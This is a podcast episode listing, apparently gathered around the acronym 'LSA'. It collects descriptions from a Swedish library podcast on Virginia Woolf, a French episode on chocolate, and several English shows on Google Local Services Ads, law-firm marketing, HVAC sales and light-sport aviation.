93. Anna-Karin Palm om Virginia Woolf och Mrs Dalloway

Bibliotekspodden Solen

Play Episode Listen Later Jun 24, 2025 46:37


Den 14 maj 1925 gavs Virigina Woolfs mästerverk Mrs Dalloway ut för första gången, och hundra år senare står den sig fortfarande som en av modernismens verkliga klassiker. Vad är det som är så speciellt med romanen, och hur såg Virginia Woolfs tid och litterära värld ut? Om detta och mycket mer samtalar bibliotekarierna Karin Cellton och Solens Patrik Schylström med författaren, akademiledamoten och Woolf-kännaren Anna-Karin Palm, i detta specialavsnitt av Solen som spelades in inför publik på Tranströmerbiblioteket i Stockholm den 14 maj 2025.

Bibliotekspodden Solen
92. Sommarläsning 2025

Bibliotekspodden Solen

Play Episode Listen Later Jun 2, 2025 67:25


Inför sommaren 2025 samlas Solen-medlemmarna och tipsar om läsning för hängmattan, stranden eller kanske tågresan! Vad har vi läst och gillat under våren, och vilka böcker passar extra bra att läsa på sommaren? Tips utlovas om allt från nutida mammaliv och 1700-talspoeter på Irland till gotik i 1800-talets London, sorg i ett samtida Skogås och en australisk utflykt år 1900. Och mer därtill! Solen är en podcast om litteratur och bibliotek med bibliotekarierna Alice Thorburn, Elias Hillström, Maja Bünger och Patrik Schylström från Stadsbiblioteket i Stockholm. Du hittar tidigare avsnitt samt titellistor på bibliotekets hemsida: biblioteket.stockholm.se/bibliotekspodden-solen

Agent Power Huddle
How to Get Warm Leads with Your Google Business Profile and Google LSA | Shelly O'Neil | S19 E38

Agent Power Huddle

Play Episode Listen Later May 26, 2025 30:55


Want 7x more leads? Autumn and Shelly show you how Google Business and LSA can transform your online visibility.Autumn and Shelly presented strategies to optimize Google Business Profiles and Local Service Ads (LSA). Shelly shared how LSAs helped 7x her business and provided lead-gen tips like timing reviews and troubleshooting ad ranking issues. She emphasized brand consistency and suggested agents exchange Google reviews to improve visibility and trust.

SlatorPod
#251 Inside the LSA–Lingolet Strategic AI Partnership

SlatorPod

Play Episode Listen Later May 22, 2025 46:12


In a SlatorPod first, four guests — Scott Cooper, CEO of Language Services Associates (LSA), Pablo Tercero, COO of LSA, Jerry Song, CEO of Lingolet, and Edward Varela, VP of Business Development at Lingolet — shared their insights into a newly forged partnership.Scott explained that the decision to partner instead of building an in-house AI solution allowed LSA to stay focused on its core strengths while leveraging Lingolet's technical edge. The alliance goes beyond a vendor agreement, with LSA taking an equity stake in Lingolet, anchoring the relationship in shared strategy and long-term commitment. For Jerry and Edward, the partnership is a natural progression, rooted in their deep knowledge of both software development and the language services market.In a standout use case, the two companies helped a Major League Soccer team enable multilingual, AI-assisted communication in coaching sessions — bridging language gaps in real time for international players.On the tech front, Jerry and Edward explained that Lingolet doesn't build large language models from scratch but instead acts as an orchestrator, offering clients the ability to customize and deploy AI tools within secure, dedicated environments. Pablo underscored LSA's HIPAA and PCI compliance, as security, compliance, and privacy are essential pillars, especially in regulated sectors like healthcare.Looking ahead, LSA and Lingolet are preparing to offer hybrid solutions where AI can bridge the gap during interpreter unavailability, even for brief moments, potentially transforming session wait times. Their roadmap includes broader language coverage, deeper integration with healthcare platforms, and innovative pricing models that will reshape how interpretation services are sold and scaled.

Lunch Hour Legal Marketing
When to DIY & When to Call in the Pros — Mailbag Edition

Lunch Hour Legal Marketing

Play Episode Listen Later May 7, 2025 38:37


Should your agency be charging you for managing your LSAs? Are there things your in-house marketing team should be leaving to the experts? Today, the guys open the mailbag and answer these two great listener questions. Is it worth paying an agency anything for Google LSA management, or are you getting scammed out of a chunk of your marketing budget? Well, it depends, and the guys' opinions may vary. Gyi and Conrad dig into a listener question to explain what LSA management could/should look like, what value it may bring to you, and whether ongoing fees are appropriate. Later, question 2! Should lawyers with an in-house marketing team entrust all their digital marketing to said team, or do they need to call in an expert agency for certain advertising channels? The guys talk about the realities of expertise gaps and how partnerships can really take your marketing efforts to the next level.  Stay tuned to the end for a special announcement from Gyi and Conrad!  The News: Brilliant or clueless—did this lawyer do this for the news hype & free advertising? Judge Rejects Lawsuit With Dragon Logo, Calling It ‘Juvenile and Impertinent' - The New York Times Google, just… ick. Here's our take on this extremely problematic Google overstep:   Connect: The Bite - Lunch Hour Legal Marketing Newsletter! Leave Us an Apple Review  Lunch Hour Legal Marketing on YouTube  Lunch Hour Legal Marketing on TikTok

Midlife Pilot Podcast
EP126 - Information Whiskey: "Like Oregon Trail Without Dysentery"

Midlife Pilot Podcast

Play Episode Listen Later Apr 29, 2025 56:08


The Midlife Pilot crew prepares for their "Big Texas Send" fly-in at T82 while navigating spring weather challenges. Brian celebrates returning to flying after a 42-day maintenance hiatus, sharing stories of tower tours and smoke-signaling air tractors. Ted plans his epic 1800-mile cross-country journey in his LSA, which Brian dubs "Oregon Trail without dysentery," while guest weather expert and CFII Erica Gilbert offers forecasting wisdom. The show celebrates both those making the journey and those making smart no-go decisions. As all the best GA adventures play out, "This is not going as planned, and it's awesome."Mentioned on the show:* CMD - Cullman Airport, Alabama: https://www.airnav.com/airport/KCMD* Trent Palmer's smoke system: https://www.youtube.com/watch?v=QQ4ZDpx2ysM* Manifest, 2018 TV series: https://en.wikipedia.org/wiki/Manifest_(TV_series)

The Agency Blueprint
How To Select Google Business Profile Category?

The Agency Blueprint

Play Episode Listen Later Apr 24, 2025 2:45


Let''s break down how to optimize your Google Business Profile (GBP) to dominate local search—starting with the one thing most law firms get wrong: category selection.Get introduced to Clipper, a browser plugin that shows you exactly which categories your top competitors are using. Plus, get my full SOP for GBP optimization—complete with tools, templates, and step-by-step instructions tailored for competitive niches like personal injury law.If you're serious about local rankings and better LSA results, this is your next move. Get access to 100s of video trainings and templates for agencies for $199: https://theblueprint.training

Lunch Hour Legal Marketing
BREAKING: Google Expands Use of Local Service Ad Data

Lunch Hour Legal Marketing

Play Episode Listen Later Apr 22, 2025 22:10


Just when you thought you understood Local Services Ads (LSAs), Google changes the game. Gyi and Conrad sound the alarm on the latest shift in LSA terms—and this one's a doozy. Google now claims the right to tweak, repurpose, and plaster your ad content wherever it wants. Cool cool cool… unless you're a lawyer who cares about things like client confidentiality and ethics.   Is this a harmless update? A marketing landmine? Or just another “oops, didn't read the fine print” moment? The guys debate what opting in *really* means, how it could affect your firm, and why blind trust in Big Tech is looking less like a best practice and more like a liability.   Takeaways: Google's changing the rules on LSAs—again.   Your ad content? They can now modify and use it freely.   Ethics red flag: This could compromise client confidentiality.   Most lawyers have no idea this is happening.   Opting in might mean opening a can of worms.   Google's rollout? Vague at best.   Legal marketers are losing faith.   Ad performance and trust are both on the line.   Law firms must weigh ethical risks before opting in.   Transparency isn't optional—it's essential.   Chapters 00:00 – Breaking News: Google Drops LSA Bombshell 01:12 – What Google's New Data Policy Really Means 06:00 – The Opt-In Confusion (and Consequences) 11:00 – Google's Data Grab and Pricing Power Play 17:15 – AI, Ethics, and the Future of Legal Ads

Maintenant, vous savez
Le chocolat rend-il vraiment plus intelligent ?

Maintenant, vous savez

Play Episode Listen Later Apr 20, 2025 5:00


En 2014, selon une étude réalisée pour le magazine LSA, le chocolat était l'aliment préféré des Français. Nous sommes près de 98% à en consommer, 80% chaque semaine et 30% tous les jours. En 2021, 30 000 tonnes de chocolat ont été vendus, rien que sur la période de Noël. Si le chocolat nous plaît autant, c'est parce qu'il serait bon pour la santé, et un peu addictif. Selon une étude américaine publiée dans le journal spécialisé Nature, manger du chocolat serait même bénéfique pour le cerveau et rendrait plus intelligent. Comment le chocolat peut-il nous rendre plus intelligents ? Présente-t-il d'autres bienfaits ? Y a-t-il des inconvénients à la consommation de chocolat ? Écoutez la suite de cet épisode de "Maintenant vous savez". Un podcast Bababam Originals, écrit et réalisé par Samuel Lumbroso. Première diffusion : 8 avril 2023 À écouter aussi : Qu'est-ce que le bug de l'an 2038 ? Qu'est-ce qu'un influvoleur, ce terme inventé par le rappeur Booba ? Quelles sont les trois astuces pour suivre l'actualité en protégeant sa santé mentale ? Retrouvez tous les épisodes de "Maintenant vous savez". Suivez Bababam sur Instagram. Learn more about your ad choices. Visit megaphone.fm/adchoices

Edge of the Web - An SEO Podcast for Today's Digital Marketer
754 | Local News from the EDGE w/ Darren Shaw | 4.11.25

Edge of the Web - An SEO Podcast for Today's Digital Marketer

Play Episode Listen Later Apr 11, 2025 55:05


In Local News! Darren Shaw is back with us on the Local beat, giving us some key insights into the ongoing local marketing challenges. Great to have him back! In general digital marketing news, Google's been dishing out settlements, and Amazon's itching for TikTok. There's a Google's $100M settlement over AdWords billing practices. Might want to pay attention to that. Seems a bit precedent setting. Darren shares insights on how local SEO is evolving with trends like review recency and the significant role of video content. Meanwhile, Google's mysterious local service ads anomaly didn't go unnoticed. What is with the testing of the green check mark in LSA? That is a huge value; why drop it? Google Business Profile Questions and Answers is gone. RIP. The “question” is, how valuable was it? Clippable coupons are showing up in the wild on GBP, but rarely. If you think negative reviews spook SEO experts, think again—Darren explains why they might be able to help you.  All Things Local in this episode of Local News from the EDGE with Darren Shaw! News from the EDGE: [00:03:27] Google settles $100 Million advertising dispute [00:06:23] Amazon makes surprise bid for TikTok ahead of U.S. ban deadline [00:13:18] EDGE of the Web Title Sponsor: Site Strategics In Local News with Darren Shaw: [00:14:28] Restaurant Local Results get a facelift [00:17:45] Getting a negative review will boost your rankings [00:22:25] Google is working on restoring Local Service Ads advertiser console [00:25:11] Google Local Service Ads Tests Removing Green Screened Checkmark [00:31:44] Google Local Questions & Answers Feature Gone? [00:34:59] EDGE of the Web Sponsor: WAIKAY from InLinks [00:36:44] Google Local Knowledge Panel With Promotion Clipable Coupons [00:43:21] Your Local SEO Workout [00:47:49] Freshness Distance Calculator   Thanks to our sponsors! Site Strategics https://edgeofthewebradio.com/site Inlinks New Offering! https://edgeofthewebradio.com/waikay

Painter Marketing Mastermind Podcast
Paint Boss Live 2025 - Profitable Marketing

Painter Marketing Mastermind Podcast

Play Episode Listen Later Apr 7, 2025 48:20


In this episode, Brandon lays out a no-fluff, high-impact marketing roadmap tailored for painting contractors in 2025 and beyond. He breaks down the confusion around Google, Facebook, LSA, SEO, and offline channels, showing how to scale profitably at each revenue stage—from $0 to $3M+ and beyond. Whether you're just getting started or already breaking 7 figures, this episode will help you clarify your strategy, boost your ROI, and build a sustainable, asset-driven business.

Can't Stop the Growth
CSTG 206: How to Get BETTER Leads for Your Home Service Business with Katie Donovan

Can't Stop the Growth

Play Episode Listen Later Apr 1, 2025 40:26


Tired of paying for leads that never convert? You're not alone. In this no-fluff episode of Can't Stop the Growth, Chad Peterman sits down with Katie Donovan, CEO of Camp Digital, to break down what every service business owner needs to hear: your marketing isn't broken—it's misaligned. If your digital ads aren't bringing in the right customers, it's time to stop throwing money at the problem and start building a strategy around quality leads that actually book, run, and bring in revenue. Whether you're in HVAC, plumbing, electrical, or any other home service vertical—this episode gives you the tools to stop wasting ad dollars and start turning marketing into profit. Additional Resources: Connect with Katie Donovan on LinkedIn Learn More About CAMP Digital Next webinar event Check out CAMP Digital's quarterly webinar series HERE Join The ARENA - a CSTG Community! Chad on LinkedIn Chad Peterman | CEO | Author Peterman Brothers Website Follow PeopleForward Network on LinkedIn Learn more about PeopleForward Network Key Takeaways: Why better leads > more leads in 2025 and beyond How to train Google to send you high-converting customers The power of value-centric measurement in your ad strategy Easy DIY ways to optimize your Google Business Profile Why you MUST update your website content and photos (even from your phone!) How AI and Reserve with Google are changing LSA forever Real tips for SEO, backlink building, and local search dominance

Remarkable Results Radio Podcast
Google's Local Service Ads - Everything You Need To Know [E145] - The Auto Repair Marketing Podcast

Remarkable Results Radio Podcast

Play Episode Listen Later Mar 26, 2025 35:52


Brian and Hallie break down Google Local Services Ads (LSA) and how auto repair shops are using them to bring in more leads at lower costs. Unlike traditional Google Ads, LSA charges per lead instead of per click, making it a cost-effective approach to customer acquisition. Some shops have reported leads as low as $7 per call.They cover how to set up LSA, key verification steps, and ways to optimize a shop's Google Business Profile for better rankings. The discussion also explores how specialty shops can use LSA effectively and when Google Ads might still be useful.With LSA now open to auto repair shops nationwide, early adopters have a clear advantage. Brian and Hallie explain how to make the most of it and why now is the best time to get started.Thank you to our friends at RepairPal for providing you this episode. RepairPal is the key that unlocks more business for your repair shop. Learn More at RepairPal.com/shops.AppFueled makes marketing easy. It's a CRM designed for auto repair shops with tools like segmentation, reminders, and even a call center. Don't wait—get started today at appfueled.comLagniappe (Books, Links, Other Podcasts, etc)Google Local Service AdsAutoOps - Scheduling Tools for Auto ShopsThe Google GuaranteeGoogle ScreenedKeywords in Reviews – Adding Fuel to the FireShow Notes with TimestampsIntroduction to the Episode (00:00:01) Brian Walker introduces the podcast and guest, Hallie Wassinger, discussing the importance of Google Local Services Ads.Overview of Google Local Services Ads (00:02:53) Hallie explains the recent availability of Google Local Services Ads for auto repair shops across the U.S.Historical Context of Local Services Ads (00:03:25) Discussion on the past availability of Google Guaranteed Ads and their expansion to auto repair shops.Current Availability and Limitations (00:04:38) Hallie details the current state of Local Services Ads for tire shops and their limited availability.Cost Structure of Local Services Ads (00:05:34) Introduction to the pay-per-lead model, highlighting its differences from traditional Google Ads.Service Categories for Auto Repair (00:06:45) Hallie outlines the specific services auto repair shops can advertise under Local Services Ads.Lead Generation Process (00:07:44) Explanation of how leads are generated through phone calls or messages via the Local Services Ads dashboard.Ongoing Maintenance of Ads (00:08:31) Discussion on the necessity of monitoring and rating leads to optimize the ad performance.Success Stories from Beta Testing (00:10:55) Brian shares a success story from Chris Cotton, highlighting low lead costs achieved through Local Services Ads.Lead Cost Insights (00:11:39) Hallie provides average lead cost data, emphasizing the effectiveness of the ads for auto repair...

Lunch Hour Legal Marketing
How Law Firms Use Google Ads to Poach Your Leads

Lunch Hour Legal Marketing

Play Episode Listen Later Mar 12, 2025 44:03


Lead thievery! How on earth could your competitor's ad have YOUR name in it? Brand conquesting is a real thing, and it sucks. Later, is Gyi completely wrong about direct brand search in LSAs? The guys fight it out.  ------ Having a competitor's brand in your ad is some super shady lawyer marketing and violates Google's trademark policies, but it still happens. What's the deal? Gyi and Conrad talk about the ins and outs of brand conquesting, how it should be viewed under lawyers' rules of professional conduct, and whether this kind of dirty campaigning is actually successful for the law firms who engage in it.  Next, does having direct brand search turned on in Google Local Service Ads negatively impact your visibility? Maybe so, maybe no… it's complicated! Gyi and Conrad argue their viewpoints and nerd out on a variety of marketing scenarios that could affect those pesky LSA outcomes. The News: If you're amongst the crowd of laid off federal lawyers, Ben & Brian Glass are offering their assistance in helping you start your own gig.  The Diversity Update from Google might be causing a drop in your organic results. Everybody's noticing an uptick in AIOs in legal, so—yay! Lawyerist Podcast with Gyi and Conrad is coming soon!    Links Mentioned: Google "Diversity Update" Live Stream Google - Trademarks - Advertising Policies Help   Suggested LHLM Episodes: Google Local Service Ads: To Brand or Not to Brand?   Connect: The Bite - Lunch Hour Legal Marketing Newsletter! Leave Us an Apple Review  Lunch Hour Legal Marketing on YouTube  Lunch Hour Legal Marketing on TikTok

Owned and Operated
#170 - "Most Sales People Suck at Their Job": How Siro's AI Is Turning Sales Reps Into Top Performers with Jake Cronin

Owned and Operated

Play Episode Listen Later Feb 18, 2025 51:36


In this episode, Jake Cronin, CEO of Siro, delves into the intricacies of modern sales coaching utilizing advanced AI technologies. From his transformative experiences on the sales floor to building Siro, Cronin shares invaluable insights on leveraging data to enhance sales performance and process adherence. Jake highlights the pivotal role of AI in capturing and analyzing in-person sales interactions, offering a comprehensive look at Siro's evolution, upcoming innovations, and the profound impact on sales training. This episode is packed with insights you won't get anywhere else.Special Thanks to Service ScalersService Scalers have helped us to deliver the leads we need to scale Wilson, and their expertise in SEO, PPC, LSA, and GMB marketing has been a game-changer.Last year their partnership helped us achieve 46% year-over-year growth and this year is going to be even bigger. If you're in the trades and serious about growth, I can't recommend them enough. Check out Service ScalersShoutout to Quick Staffers LLCQuick Staffers are the staffing agency bringing global talent to the HVAC and plumbing industries. They specialize in placing trained overseas CSRs, fully equipped with the best SOPs and scripts at a fraction of the cost.Don't miss out. Get $1000 off your first placement here.Episode Hosts:

Owned and Operated
#169 - Scaling an HVAC Startup to $6M: How Andrew Morrell Went from ZERO to Millions

Owned and Operated

Play Episode Listen Later Feb 13, 2025 56:49


In this episode, Jack and John sit down with Andrew Morrell, who took his HVAC business from zero to $6 million—without a massive budget or a big head start. They dive into his journey, what worked (and what didn't), and how smart marketing helped him scale fast. SPECIAL THANKS TO SERVICE SCALERSIn a year where many in the industry faced challenges, we're thrilled to have hit the low 20s, outperforming expectations and driving serious growth. A huge part of that success is thanks to Service Scalers.The team have been invaluable partners, helping us achieve awesome results with out SEO, PPC, LSA and GMB marketing.If you're in the trades and ready to level up your marketing, do yourself a favor and check out ServiceScalers.com. Sam and his team are killing it right now.SPECIAL THANKS TO AVOCALooking to train your call center and improve technician performance? Avoca AI is here to help your team identify existing issues, improve call quality, and drive results from start to finish. Click here to schedule a demoContact Owned and Operated: info@ownedandoperated.com Visit the website for more information More Ways To Connect with O&O John's YouTube Channel Weekly Newsletter Leave a Review John Wilson, CEO of Wilson CompaniesJack Carr, CEO of Rapid HVAC

Owned and Operated
#167- Stop Pitching, Start Closing—The Secret to More Plumbing Conversions

Owned and Operated

Play Episode Listen Later Feb 6, 2025 35:12 Transcription Available


Most techs aren't salespeople—but they should be closing more jobs. In this episode, Jack and John break down the sales tactics that get homeowners saying yes more often. We're talking about the difference between soft and hard selling, how full system evaluations can boost your close rate, and why most techs miss the real root cause of a homeowner's problem. Plus, we cover the must-know steps for handling calls like a pro. If you want to turn more estimates into booked jobs, this one's for you.SPECIAL THANKS TO SERVICE SCALERSIn a year where many in the industry faced challenges, we're thrilled to have hit the low 20s, outperforming expectations and driving serious growth. A huge part of that success is thanks to Service Scalers.The team have been invaluable partners, helping us achieve awesome results with out SEO, PPC, LSA and GMB marketing.If you're in the trades and ready to level up your marketing, do yourself a favor and check out ServiceScalers.com. Sam and his team are killing it right now.SHOUT OUT TO HATCHTurn communication into conversion with Hatch and its AI Agents, ready to handle follow-ups, reminders, email blasts, and more for your home service business. Save employee hours and book more leads with the power of Hatch.Learn More About HatchEpisode Hosts: